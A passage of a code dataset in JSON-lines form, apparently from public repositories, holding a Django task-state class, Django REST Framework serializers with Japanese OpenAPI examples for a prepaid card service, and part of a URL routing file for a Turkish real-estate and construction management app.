{"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.nan_to_num", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "pandas.read_pickle", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 69, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 74, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 101, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 113, "usage_type": "call"}]}
{"seq_id": "34728284029", "text": "import json\nfrom connection.models import Processor\nfrom objsys.models import UfsObj\nfrom services.svc_base.svc_interfaces.task_state_interface import TaskStateInterface\n\n\nclass DjangoBasedTaskState(TaskStateInterface):\n    def __init__(self):\n        super(DjangoBasedTaskState, self).__init__()\n        self.inner_log_str = \"\"\n        self.diagram_ufs_url = None\n        self.process_ufs_url = None\n\n    def set_state_id(self, process_ufs_url, diagram_ufs_url):\n        self.process_ufs_url = process_ufs_url\n        self.diagram_ufs_url = diagram_ufs_url\n\n    def load(self):\n        return self.load_task_state()\n\n    def save(self, state_dict):\n        self.save_task_state(state_dict)\n\n    def save_task_state(self, state):\n        task_obj = UfsObj.objects.get(ufs_url=self.process_ufs_url)\n        processor = Processor.objects.get(ufsobj=task_obj)\n        self.inner_log_str += \"processor:\" + str(processor) + \"\\n\"\n        processor.param_descriptor = json.dumps(state)\n        processor.save()\n        self.inner_log_str += \"saved:\" + str(processor.param_descriptor) + \"\\n\"\n\n    def load_task_state(self):\n        task_obj, created = UfsObj.objects.get_or_create(ufs_url=self.process_ufs_url)\n        diagram_obj, created = UfsObj.objects.get_or_create(ufs_url=self.diagram_ufs_url)\n        processor, created = Processor.objects.get_or_create(ufsobj=task_obj, diagram_obj=diagram_obj)\n        result = {}\n        if (not (processor.param_descriptor is None)) and (not (processor.param_descriptor == \"\")):\n            result = json.loads(processor.param_descriptor)\n        self.inner_log_str += str(result)\n        return result", "repo_name": "weijia/approot", "sub_path": "libs/services/svc_base/task_state/django_based_task_state.py", "file_name": "django_based_task_state.py", "file_ext": "py", "file_size_in_byte": 1639, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "services.svc_base.svc_interfaces.task_state_interface.TaskStateInterface", "line_number": 7, "usage_type": "name"}, {"api_name": "objsys.models.UfsObj.objects.get", "line_number": 25, "usage_type": "call"}, {"api_name": "objsys.models.UfsObj.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "objsys.models.UfsObj", "line_number": 25, "usage_type": "name"}, {"api_name": "connection.models.Processor.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "connection.models.Processor.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "connection.models.Processor", "line_number": 26, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}, {"api_name": "objsys.models.UfsObj.objects.get_or_create", "line_number": 33, "usage_type": "call"}, {"api_name": "objsys.models.UfsObj.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "objsys.models.UfsObj", "line_number": 33, "usage_type": "name"}, {"api_name": "objsys.models.UfsObj.objects.get_or_create", "line_number": 34, "usage_type": "call"}, {"api_name": "objsys.models.UfsObj.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "objsys.models.UfsObj", "line_number": 34, "usage_type": "name"}, {"api_name": "connection.models.Processor.objects.get_or_create", "line_number": 35, "usage_type": "call"}, {"api_name": "connection.models.Processor.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "connection.models.Processor", "line_number": 35, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "37478521264", "text": "from rest_framework import serializers\nfrom drf_spectacular.utils import extend_schema_serializer\nfrom drf_spectacular.utils import OpenApiExample\n\nfrom database.models import Card, Transaction\n\n\nclass StatusSerializer(serializers.Serializer):\n    code = serializers.CharField(max_length=200)\n    message = serializers.CharField(max_length=200)\n\n\nclass CommonSerializer(serializers.Serializer):\n    status = StatusSerializer()\n\n\nclass OpenApiAccessTokenIssueSerializer(serializers.Serializer):\n    auth_token = serializers.CharField(default='認証トークン')\n    token_expiration_date = serializers.DateTimeField()\n    refresh_token = serializers.CharField(default='リフレッシュトークン')\n\n\nclass OpenApiAccessTokenUpdateSerializer(serializers.Serializer):\n    auth_token = serializers.CharField(default='認証トークン')\n    token_expiration_date = serializers.DateTimeField()\n    refresh_token = serializers.CharField(default='リフレッシュトークン')\n\n\n@extend_schema_serializer(\n    examples=[\n        OpenApiExample(\n            'Success',\n            summary='Success',\n            value={\n                'card_number': 'カード番号',\n                'card_status': 1,\n                'card_design': 'カードデザイン(S3のURL)',\n                'card_config_name': 'カード設定名',\n                'value_charge_limit_for_day': 1,\n                'value_charge_limit_for_month': 1,\n                'value_payment_limit_for_day': 1,\n                'value_payment_limit_for_month': 1,\n                'value_currency_unit': '前払いバリュー通貨単位',\n                'payable_bonus_currency_unit': '決済併用ボーナス通貨単位',\n                'exchange_bonus_currency_unit': '商品交換ボーナス通貨単位',\n                'actual_amount_charge_for_day': 1,\n                'actual_amount_charge_for_month': 1,\n                'actual_amount_payment_for_day': 1,\n                'actual_amount_payment_for_month': 1,\n            },\n            response_only=True,\n            status_codes=['200']\n        )\n    ]\n)\nclass OpenApiCardDetailSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Card\n        fields = \"__all__\"\n\n\n@extend_schema_serializer(\n    examples=[\n        OpenApiExample(\n            'Success',\n            summary='Success',\n            value={\n                'payable_available_total_balance': 1,\n                'balance': {\n                    'value': {\n                        'total_balance': '前払バリュー合計残高',\n                        'usage_restriction': [{\n                            'usage_restriction_pattern': 1,\n                            'usage_restriction_balance': '前払バリュー利用制限別残高',\n                            'restricted_company': [{\n                                'corporate_number': '前払バリュー制限対象企業番号',\n                                'name': '前払バリュー制限対象企業名',\n                            }],\n                            'restricted_shop': [{\n                                'shop_number': '前払バリュー制限対象店舗番号',\n                                'name': '前払バリュー制限対象店舗名',\n                            }],\n                            'expiration': [{\n                                'expired_at': '前払バリュー有効期限日',\n                                'expired_at_balance': '前払バリュー有効期限別残高',\n                            }]\n                        }]\n                    },\n                    'payable_bonus': {\n                        'total_balance': '決済併用ボーナス合計残高',\n                        'usage_restriction': [{\n                            'usage_restriction_pattern': 1,\n                            'usage_restriction_balance': '決済併用ボーナス利用制限別残高',\n                            'restricted_company': [{\n                                'corporate_number': '決済併用ボーナス制限対象企業番号',\n                                'name': '決済併用ボーナス制限対象企業名',\n                            }],\n                            'restricted_shop': [{\n                                'shop_number': '決済併用ボーナス制限対象店舗番号',\n                                'name': '決済併用ボーナス制限対象店舗名',\n                            }],\n                            'expiration': [{\n                                'expired_at': '決済併用ボーナス有効期限日',\n                                'expired_at_balance': '決済併用ボーナス有効期限別残高',\n                            }]\n                        }]\n                    },\n                    'exchange_bonus': {\n                        'total_balance': '商品交換ボーナス合計残高',\n                        'usage_restriction': [{\n                            'usage_restriction_pattern': '商品交換ボーナス利用制限パターン',\n                            'usage_restriction_balance': '商品交換ボーナス利用制限別残高',\n                            'restricted_company': [{\n                                'corporate_number': '商品交換ボーナス制限対象企業番号',\n                                'name': '商品交換ボーナス制限対象企業名',\n                            }],\n                            'restricted_shop': [{\n                                'shop_number': '商品交換ボーナス制限対象店舗番号',\n                                'name': '商品交換ボーナス制限対象店舗名',\n                            }],\n                            'expiration': [{\n                                'expired_at': '商品交換ボーナス有効期限日',\n                                'expired_at_balance': '商品交換ボーナス有効期限別残高',\n                            }]\n                        }]\n                    },\n                },\n                'reserve_balance': {\n                    'value': [{\n                        'grant_at': '前払バリュー付与予定日',\n                        'grant_amount': '前払バリュー付与予定数',\n                        'usage_restriction_pattern': 1,\n                        'restricted_company': [{\n                            'corporate_number': '前払バリュー制限対象企業番号',\n                            'name': '前払バリュー制限対象企業名',\n                        }],\n                        'restricted_shop': [{\n                            'shop_number': '前払バリュー制限対象店舗番号',\n                            'name': '前払バリュー制限対象店舗名',\n                        }],\n                    }],\n                    'payable_bonus': [{\n                        'grant_at': '決済併用ボーナス付与予定日',\n                        'grant_amount': '決済併用ボーナス付与予定数',\n                        'usage_restriction_pattern': 1,\n                        'restricted_company': [{\n                            'corporate_number': '決済併用ボーナス制限対象企業番号',\n                            'name': '決済併用ボーナス制限対象企業名',\n                        }],\n                        'restricted_shop': [{\n                            'shop_number': '決済併用ボーナス制限対象店舗番号',\n                            'name': '決済併用ボーナス制限対象店舗名',\n                        }],\n                    }],\n                    'exchange_bonus': [{\n                        'grant_at': '商品交換ボーナス付与予定日',\n                        'grant_amount': '商品交換ボーナス付与予定数',\n                        'usage_restriction_pattern': '商品交換ボーナス利用制限パターン',\n                        'restricted_company': [{\n                            'corporate_number': '商品交換ボーナス制限対象企業番号',\n                            'name': '商品交換ボーナス制限対象企業名',\n                        }],\n                        'restricted_shop': [{\n                            'shop_number': '商品交換ボーナス制限対象店舗番号',\n                            'name': '商品交換ボーナス制限対象店舗名',\n                        }],\n                    }]\n                }\n            },\n            response_only=True,\n            status_codes=['200']\n        )\n    ]\n)\nclass OpenApiBalanceSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Card\n        fields = \"__all__\"\n\n\n@extend_schema_serializer(\n    examples=[\n        OpenApiExample(\n            'Success',\n            summary='Success',\n            value=[{\n                'transaction_type': 1,\n                'transaction_number': 1,\n                'transaction_status': 1,\n                'transaction_at': 1,\n                'transaction_value_increase_decrease_amount': '取引前払バリュー増減額',\n                'transaction_payable_bonus_increase_decrease_amount': '取引決済併用ボーナス増減数',\n                'transaction_product_exchange_bonus_increase_decrease_amount': '取引商品交換ボーナス増減数',\n                'replacement_source_card_config_name': '付替元カード設定名',\n                'replacement_target_card_config_name': '付替先カード設定名',\n                'apply_campaign': [\n                    {\n                        'bonus_category': 'ボーナス種別',\n                        'bonus_grant_amount': 'ボーナス付与数',\n                        'bonus_reserve_grant_at': 'キャンペーン付与予定日'\n                    }\n                ],\n            }],\n            response_only=True,\n            status_codes=['200']\n        )\n    ]\n)\nclass OpenApiTransactionListSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Transaction\n        fields = \"__all__\"\n\n\n@extend_schema_serializer(\n    examples=[\n        OpenApiExample(\n            'Success',\n            summary='Success',\n            value={\n                'transaction_type': 1,\n                'transaction_number': 1,\n                'transaction_status': 1,\n                'transaction_at': 1,\n                'transaction_value_increase_decrease_amount': '取引前払バリュー増減額',\n                'transaction_payable_bonus_increase_decrease_amount': '取引決済併用ボーナス増減数',\n                'transaction_product_exchange_bonus_increase_decrease_amount': '取引商品交換ボーナス増減数',\n                'replacement_source_card_number': '付替元カード番号',\n                'replacement_source_card_config_name': '付替元カード設定名',\n                'replacement_source_card_design_url': '付替元カードデザインURL',\n                'replacement_target_card_number': '付替先カード番号',\n                'replacement_target_card_config_name': '付替先カード設定名',\n                'replacement_target_card_design_url': '付替先カードデザインURL',\n                'apply_campaign': [\n                    {\n                        'bonus_category': 'ボーナス種別',\n                        'bonus_grant_amount': 'ボーナス付与数',\n                        'bonus_reserve_grant_at': 'キャンペーン付与予定日'\n                    }\n                ],\n            },\n            response_only=True,\n            status_codes=['200']\n        )\n    ]\n)\nclass OpenApiTransactionDetailSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Transaction\n        fields = \"__all__\"\n\n\n@extend_schema_serializer(\n    examples=[\n        OpenApiExample(\n            'Success',\n            summary='Success',\n            value={\n                'provider_name': '事業者名',\n                'service_name': 'サービス名',\n                'service_logo_url': '事業者サービスロゴURL',\n                'use_service': {\n                    # 電子マネーカード利用可否\n                    'is_physical_card_enable': True\n                },\n                'use_account': {\n                    # 前払いバリュー利用可否\n                    'is_value_enable': True,\n                    # 決済併用ボーナス利用可否\n                    'is_payable_bonus_enable': True,\n                    # 商品交換ボーナス利用可否\n                    'is_exchange_bonus_enable': True,\n                },\n                'terms_of_service': {\n                    'url': '利用規約URL',\n                    'regulation_date': '利用規約規定日',\n                    'version': '利用規約バージョン'\n                },\n                'privacy_policy': {\n                    'url': 'プライバシーポリシーURL',\n                    'regulation_date': 'プライバシーポリシー規定日',\n                    'version': 'プライバシーポリシーバージョン'\n                }\n            },\n            response_only=True,\n            status_codes=['200']\n        )\n    ]\n)\nclass OpenApiInformationSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Card\n        fields = \"__all__\"\n", "repo_name": "WobitaDream/Django_NewPointPlus", "sub_path": "django/v1_card/serializers/common_serializers.py", "file_name": "common_serializers.py", "file_ext": "py", "file_size_in_byte": 13391, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.Serializer", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 23, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 25, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 56, "usage_type": "name"}, {"api_name": "database.models.Card", "line_number": 58, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_serializer", "line_number": 29, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiExample", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 175, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 175, "usage_type": "name"}, {"api_name": "database.models.Card", "line_number": 177, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_serializer", "line_number": 62, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiExample", "line_number": 64, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 209, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 209, "usage_type": "name"}, {"api_name": "database.models.Transaction", "line_number": 211, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_serializer", "line_number": 181, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiExample", "line_number": 183, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 247, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 247, "usage_type": "name"}, {"api_name": "database.models.Transaction", "line_number": 249, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_serializer", "line_number": 215, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiExample", "line_number": 217, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 290, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 290, "usage_type": "name"}, {"api_name": "database.models.Card", "line_number": 292, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_serializer", "line_number": 253, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiExample", "line_number": 255, "usage_type": "call"}]}
{"seq_id": "18956020544", "text": "from django.urls import path\nfrom django.conf import settings\nfrom . import views\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n    #path('login', views.login_page, name='login_page'),\n    path('index', views.index, name='index'),\n    path('', views.login, name='login'),#login\n    path('loginfuc', views.login_fuc, name='login_fuc'),\n    path('logoutfuc', views.log_out_fuc, name='log_out_fuc'),\n    path('lognewfuc', views.log_new_fuc, name='log_new_fuc'),\n\n    path('satis/projeler', views.satis_projeler, name='satis-projeler'),\n    path('satis/projeler/eklefuc', views.satis_projeler_ekle_fuc, name='satis-projeler-ekle-fuc'),\n    path('satis/projeler/duzenlefuc', views.satis_projeler_duzenle_fuc, name='satis-projeler-duzenle-fuc'),\n    path('satis/projeler/silfuc', views.satis_projeler_sil_fuc, name='satis-projeler-sil-fuc'),\n\n\n    path('satis/projeler/<int:pid>/<int:num>', views.satis_projeler_detay, name='satis-projeler-detay-bloklar-list'),\n    path('satis/projeler/blokekle/<int:pid>', views.satis_projeler_blok_ekle, name='satis-projeler-blok-ekle'),\n    path('satis/projeler/blokeklefuc/<int:pid>', views.satis_projeler_blok_ekle_fuc, name='satis-projeler-blok-ekle-fuc'),\n    path('satis/projeler/duzenle/<int:pid>/<int:blokid>', views.satis_projeler_blok_duzenle, name='satis-projeler-blok-duzenle'),\n    path('satis/projeler/duzenlefuc/<int:pid>/<int:blokid>', views.satis_projeler_blok_duzenle_fuc, name='satis-projeler-blok-duzenle-fuc'),\n    path('satis/projeler/bloksilfuc/<int:pid>/<int:blokid>', views.satis_projeler_blok_sil_fuc, name='satis-projeler-blok-sil-fuc'),\n\n    path('satis/projeler/duzenle/<int:pid>/<int:blokid>/<int:no>', views.satis_projeler_daire_duzenle, name='satis-projeler-daire-duzenle'),\n    path('satis/projeler/duzenle/<int:pid>/<int:blokid>/<int:no>/kaydet', views.satis_projeler_daire_duzenle_kaydet, name='satis-projeler-daire-duzenle-kaydet'),\n    path('satis/projeler/duzenle/<int:pid>/<int:blokid>/<int:no>/satisiptal', views.satis_projeler_daire_duzenle_satisiptal, name='satis-projeler-daire-duzenle-satisiptal'),\n    path('satis/projeler/duzenle/<int:id>/sozlesmesil', views.satis_projeler_daire_duzenle_sozlesme_sil, name='satis-projeler-daire-duzenle-sozlesme-sil'),\n    \n    path('satis/projeler/blok/<int:pid>/daireeklefuc', views.satis_projeler_blok_daire_ekle_fuc, name='satis-projeler-blok-daire-ekle-fuc'),\n   \n    path('portfoy', views.portfoy, name='satis-portfoy'),\n    path('portfoy/ekle', views.portfoy_ekle, name='satis-portfoy-ekle'),\n    path('portfoy/eklefuc', views.portfoy_ekle_fuc, name='satis-portfoy-ekle-fuc'),\n    path('portfoy/duzenle/<int:id>', views.portfoy_duzenle, name='satis-portfoy-duzenle'),\n    path('portfoy/sil/<int:id>', views.portfoy_sil_fuc, name='satis-portfoy-sil'),\n\n\n\n    path('santiyeler', views.santiyeler, name='santiyeler'),\n    path('santiyeler/eklefuc', views.santiyeler_ekle_fuc, name='santiyeler-ekle-fuc'),\n    path('santiyeler/duzenlefuc', views.santiyeler_duzenle_fuc, name='santiyeler-duzenle-fuc'),\n    path('santiyeler/malzemeler', views.santiyeler_malzemeler, name='santiyeler-malzemeler'),\n    path('santiyeler/malzemeler/<int:id>', views.santiyeler_malzemeler_fuc, name='santiyeler-malzemeler-fuc'),\n    path('santiyeler/malzemeler/giris', views.santiyeler_malzemeler_giris, name='santiyeler-malzemeler-giris'),\n    path('santiyeler/malzemeler/giris/<int:id>', views.santiyeler_malzemeler_giris_id, name='santiyeler-malzemeler-giris-id'),\n    path('santiyeler/malzemeler/giris/eklefuc', views.santiyeler_malzemeler_giris_ekle_fuc, name='santiyeler-malzemeler-giris-ekle-fuc'),\n    path('santiyeler/malzemeler/giris/<int:id>', views.santiyeler_malzemeler_giris_fuc, name='santiyeler-malzemeler-giris-fuc'),\n    path('santiyeler/malzemeler/sil/<int:id>', views.santiye_malzeme_sil, name='santiyeler-malzemeler-sil'),\n    path('santiyeler/malzemeler/silid/<int:id>', views.santiye_malzeme_sil_id, name='santiyeler-malzemeler-sil-id'),\n    path('santiyeler/malzemeler/duzenle/<int:id>', views.santiye_malzeme_duzenle, name='santiyeler-malzemeler-duzenle'),\n    path('santiyeler/malzemeler/duzenlefuc/<int:id>', views.santiye_malzeme_duzenle_fuc, name='santiyeler-malzemeler-duzenle-fuc'),\n\n    path('takip/kayitlar', views.takip, name='takip'),\n    path('takip/kayitlar/bekle', views.takip_bekle, name='takip'),\n    path('takip/kayitlar/gider', views.takip_gider, name='takip'),\n    path('takip/kayitlar/devam', views.takip_devam, name='takip'),\n    path('takip/olustur/<int:pid>/<int:blokid>/<int:no>', views.takip_olustur, name='takip-olustur'),\n    path('takip/olusturfuc/<int:pid>/<int:blokid>/<int:no>', views.takip_olustur_fuc, name='takip-olustur-fuc'),\n    path('takip/arizagider/<int:id>', views.ariza_gider, name='ariza-gider'),\n    path('takip/arizadevam/<int:id>', views.ariza_devam, name='ariza-devam'),\n    path('takip/arizabekle/<int:id>', views.ariza_bekle, name='ariza-bekle'),\n    path('takip/arizasil/<int:id>', views.ariza_sil, name='ariza-sil'),\n    path('takip/duzenle/<int:id>', views.takip_olustur_duzenle, name='takip-olustur-duzenle'),\n    path('takip/duzenlefuc/<int:id>', views.takip_olustur_duzenle_fuc, name='takip-olustur-duzenle-fuc'),\n    path('takip/duzenlefuc/resimsil/<int:id>', views.takip_olustur_duzenle_fuc_resimsil, name='takip-olustur-duzenle-fuc-resimsil'),\n\n    path('tapusicil/tapusatis/kayitlar', views.tapusicil_tapusatis_kayitlar, name='takip'),\n    path('tapusicil/tapusatis/ekle/<int:daireid>', views.tapusicil_tapusatis_kayitlar_ekle, name='takip'),\n    path('tapusicil/tapusatis/eklefuc/<int:daireid>', views.tapusicil_tapusatis_kayitlar_ekle_fuc, name='takip'),\n    path('tapusicil/tapusatis/duzenle/<int:daireid>', views.tapusicil_tapusatis_kayitlar_duzenle, name='takip'),\n    path('tapusicil/tapusatis/duzenlefuc/<int:daireid>', views.tapusicil_tapusatis_kayitlar_duzenle_fuc, name='takip'),\n    path('tapusicil/tapusatis/silfuc/<int:daireid>', views.tapusicil_tapusatis_kayitlar_sil_fuc, name='takip'),\n    path('tapusicil/tapualis/kayitlar', views.tapusicil_tapualis_kayitlar, name='takip'),\n    path('tapusicil/tapualis/ekle', views.tapusicil_tapualis_kayitlar_ekle, name='takip'),\n    path('tapusicil/tapualis/eklefuc', views.tapusicil_tapualis_kayitlar_ekle_fuc, name='takip'),\n    path('tapusicil/tapualis/duzenle/<int:alisid>', views.tapusicil_tapualis_kayitlar_duzenle, name='takip'),\n    path('tapusicil/tapualis/duzenlefuc/<int:alisid>', views.tapusicil_tapualis_kayitlar_duzenle_fuc, name='takip'),\n    path('tapusicil/tapualis/silfuc/<int:alisid>', views.tapusicil_tapualis_kayitlar_sil_fuc, name='takip'),\n    path('tapusicil/katirtifaki/kayitlar', views.tapusicil_katirtifaki_kayitlar, name='takip'),\n    path('tapusicil/katirtifaki/kayitlar/eklefuc', views.tapusicil_katirtifaki_kayitlar_ekle_fuc, name='takip'),\n    path('tapusicil/katirtifaki/kayitlar/duzenlefuc', views.tapusicil_katirtifaki_kayitlar_duzenle_fuc, name='takip'),\n    path('tapusicil/katirtifaki/kayitlar/silfuc/<int:id>', views.tapusicil_katirtifaki_kayitlar_sil_fuc, name='takip'),\n    path('tapusicil/katmulkiyeti/kayitlar', views.tapusicil_katmulkiyeti_kayitlar, name='takip'),\n    path('tapusicil/katmulkiyeti/kayitlar/eklefuc', views.tapusicil_katmulkiyeti_kayitlar_ekle_fuc, name='takip'),\n    path('tapusicil/katmulkiyeti/kayitlar/duzenlefuc', views.tapusicil_katmulkiyeti_kayitlar_duzenle_fuc, name='takip'),\n    path('tapusicil/katmulkiyeti/kayitlar/silfuc/<int:id>', views.tapusicil_katmulkiyeti_kayitlar_sil_fuc, name='takip'),\n\n    path('abonelik/hepsi', views.abonelik_hepsi, name='takip'),\n    path('abonelik/ekle', views.abonelik_ekle, name='takip'),\n    path('abonelik/eklefuc', views.abonelik_ekle_fuc, name='takip'),\n    path('abonelik/duzenle/<int:id>', views.abonelik_duzenle, name='takip'),\n    path('abonelik/duzenlefuc/<int:id>', views.abonelik_duzenle_fuc, name='takip'),\n    path('abonelik/silfuc/<int:id>', views.abonelik_sil_fuc, name='takip'),\n    path('abonelik/medas', views.abonelik_medas, name='takip'),\n    path('abonelik/koski', views.abonelik_koski, name='takip'),\n    path('abonelik/enerya', views.abonelik_enerya, name='takip'),\n\n    path('halklailiskiler/kayitlar', views.halklailiskiler_kayitlar, name='takip'),\n    path('halklailiskiler/kayitekle', views.halklailiskiler_kayit_ekle, name='takip'),\n    path('halklailiskiler/kayiteklefuc', views.halklailiskiler_kayit_ekle_fuc, name='takip'),\n    path('halklailiskiler/kayitduzenle/<int:id>', views.halklailiskiler_kayit_duzenle, name='takip'),\n    path('halklailiskiler/kayitduzenlefuc/<int:id>', views.halklailiskiler_kayit_duzenle_fuc, name='takip'),\n    path('halklailiskiler/kayitsilfuc/<int:id>', views.halklailiskiler_kayit_sil_fuc, name='takip'),\n\n    path('belge/kayitlar', views.belge_kayitlar, name='takip'),\n    path('belge/kayitlar/ekle', views.belge_kayitlar_ekle, name='takip'),\n    path('belge/kayitlar/eklefuc', views.belge_kayitlar_ekle_fuc, name='takip'),\n    path('belge/kayitlar/duzenle/<int:id>', views.belge_kayitlar_duzenle, name='takip'),\n    path('belge/kayitlar/duzenlefuc/<int:id>', views.belge_kayitlar_duzenle_fuc, name='takip'),\n    path('belge/kayitlarsil/<int:id>', views.belge_kayitlar_sil_fuc, 